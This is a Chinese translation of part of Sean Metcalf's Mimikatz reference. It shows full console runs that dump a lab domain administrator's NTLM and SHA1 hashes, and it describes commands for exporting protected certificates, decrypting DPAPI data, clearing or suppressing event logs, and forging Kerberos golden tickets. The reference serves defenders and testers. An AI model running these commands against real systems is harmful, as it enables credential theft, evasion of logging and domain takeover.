原文地址:https://adsecurity.org/?page_id=1821
原文作者:Sean Metcalf
译者注:
由于原文中,作者(Sean Metcalf)已经明确的指出 “未经本文作者明确的书面同意,请勿复制包含在此页面的全部或部分内容。”,因此为了分享此佳作,译者与作者(Sean Metcalf)在推上取得了联系,沟通之后,作者允许我将此文完整翻译并分享给其他人。在此也感谢 Sean Metcalf 大牛将有关 Mimikatz 的全部内容做了系统的整理并分享出来。以下是原文作者(Sean Metcalf)回复的截图,以作授权说明:
Mimikatz 作为当下内网渗透神器之一,看起来似乎很少有人真正关注它的全部功能(Sean Metcalf 在原文开头也表示了这样的疑惑),在一些诸如 “十大黑客工具” 的文章中也看不到 Mimikatz 的影子。 Sean Metcalf 大牛将有关 Mimikatz 的相关技术做了系统的整理,遂做粗糙翻译并作分享。译文难免有误,望各位看官及时指正。此文是译文的第二部分,主要阐述了使用 Mimikatz 创建三大票证(黄金票证,白银票证,信任票证)的命令用法,以及 哈希传递(PTH),票证传递(PTT),密钥传递(PTK),缓存传递(PTC)的利用,在第三部分中会包含大量常用或不常用的 Mimikatz 命令的具体用法。
Casey Smith (@subtee & blog) 已经做了很多事情,表明了应用程序白名单不是万能的。 Casey 也想出了很多新的想法,以“猥琐”的方式来执行 Mimikatz 。
下面就介绍一些最流行的 Mimikatz 命令及相关功能。
所有提及到 Mimikatz 的文章:ADSecurity.org Mimikatz Posts
Mimikatz 可以在交互模式中运行,只需运行 “Mimikatz.exe” 即可或传递命令并退出(例如:'Mimikatz “Kerberos::list” exit
')。Invoke-Mimikatz 没有交互模式。
Mimikatz 可以在命令行中传递多个命令,这在使用 Invoke-Mimikatz 或者是在脚本文件中使用 Mimikatz 时非常有用。
追加的 “exit” 是 Mimikatz 执行的最后一个命令,这能够使 Mimikatz 自动退出。
#!bash
PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 17 modules * * */
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 646260 (00000000:0009dc74)
Session : RemoteInteractive from 2
User Name : adsadministrator
Domain : ADSECLAB
Logon Server : ADSDC03
Logon Time : 11/27/2015 11:41:27 AM
SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :
[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
[00010000] CredentialKeys
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
tspkg :
wdigest :
* Username : ADSAdministrator
* Domain : ADSECLAB
* Password : (null)
kerberos :
* Username : adsadministrator
* Domain : LAB.ADSECURITY.ORG
* Password : (null)
ssp : KO
交互模式提供了一个命令可以输入并实时执行的 “Mimikatz 控制台”:
#!bash
PS C:\temp\mimikatz> .\mimikatz
.#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 13 2015 00:44:32)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 17 modules * * */
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 646260 (00000000:0009dc74)
Session : RemoteInteractive from 2
User Name : adsadministrator
Domain : ADSECLAB
Logon Server : ADSDC03
Logon Time : 11/27/2015 11:41:27 AM
SID : S-1-5-21-1581655573-3923512380-696647894-500
msv :
[00000003] Primary
* Username : ADSAdministrator
* Domain : ADSECLAB
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
[00010000] CredentialKeys
* NTLM : 5164b7a0fda365d56739954bbbc23835
* SHA1 : f8db297cb2ae403f8915675cebe79643d0d3b09f
tspkg :
wdigest :
* Username : ADSAdministrator
* Domain : ADSECLAB
* Password : (null)
kerberos :
* Username : adsadministrator
* Domain : LAB.ADSECURITY.ORG
* Password : (null)
ssp : KO
credman :
Mimikatz 的模块如下:
注:任何被标记为“实验”的项目,都应该仅在测试环境中使用。
Mimikatz 的 CRYPTO 模块提供与 Windows 加密功能(CryptoAPI)进行对接的高级功能。
典型的用法的是用于导出未标记为“可导出”的证书。
CRYPTO::CAPI – (实验)是对 CryptoAPI 层的补丁,便于导出凭证数据。
关于使用 Mimikatz 导出证书,Carlos Perez (又名DarkOperator) 发表过一篇很棒的文章。
这个命令可以列出证书以及证书中密钥的属性。它同样也可以导出证书。通常情况下,需要先执行 “privilege::debug”
CERT_SYSTEM_STORE_CURRENT_USER
)Benjamin 对 CRYPTO:Certificates 的注释:
Store 选项:
#!bash
CERT_SYSTEM_STORE_CURRENT_USER or CURRENT_USER
CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY or USER_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE or LOCAL_MACHINE
CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY or LOCAL_MACHINE_GROUP_POLICY
CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE or LOCAL_MACHINE_ENTERPRISE
CERT_SYSTEM_STORE_CURRENT_SERVICE or CURRENT_SERVICE
CERT_SYSTEM_STORE_USERS or USERS
CERT_SYSTEM_STORE_SERVICES or SERVICES
DPAPI::Blob – 使用 API 或 Masterkey 解除 DPAPI 二进制大对象的保护
DPAPI:Cache
DPAPI::CAPI – CAPI 密钥测试
DPAPI::CNG – CNG 密钥测试
DPAPI::Cred – CRE 测试
DPAPI::CredHist – 配置一个 Credhist 文件
DPAPI::MasterKey – 配置 Masterkey 文件或解除保护(依赖于密钥)
DPAPI::Protect – 使用 DPAPI 保护数据
DPAPI::Vault – VAULT 测试
EVENT::Clear – 清空事件日志
EVENT:::Drop –(实验)对事件服务进行补丁,避免新的事件产生
Mimikatz 的 KERBEROS 模块用于与微软官方的 Kerberos API 进行对接。此模块中的命令不需要特殊的权限。
该命令提供的功能需要根据检索到的密码的哈希类型执行。
Type | Requirement | Scope |
Golden | KRBTGT hash | Domain/Forest |
Silver | Service hash | Service |
Trust | Trust hash |
Domain/Forest -> Domain/Forest (基于帐户的访问) |
黄金票证是一个使用 KRBTGT 帐户的 NTLM 密码哈希来加密和签名的 TGT 。
黄金票证(简称:GT)可以用于创建任何在域中的用户(实际存在或不存在的均可)冒充为任何在域中的组(提供几乎不受限制的权限)的成员以及在域中的任何资源。由于黄金票证是一种身份验证票证(TGT 如下所述),所以其范围是 TGT 整个域(以及利用了 SID 历史的 AD 林),还有一个原因是 TGT 可以用来获取用于访问资源的服务票据(TGS)。黄金票证(TGT)包含了用户组成员信息(PAC),这些信息使用了域的 Kerberos 服务帐户(KRBTGT)进行加密,签名并且只能由 KRBTGT 帐户才能打开并读取这些信息。
总之,一旦攻击者能够访问 KRBTGT 帐户的密码哈希,他们就可以创建黄金票证(TGT)用于在任何时候访问在 AD 中的任何东西。
创建一个黄金票证的 Mimikatz 命令为 “kerberos::golden”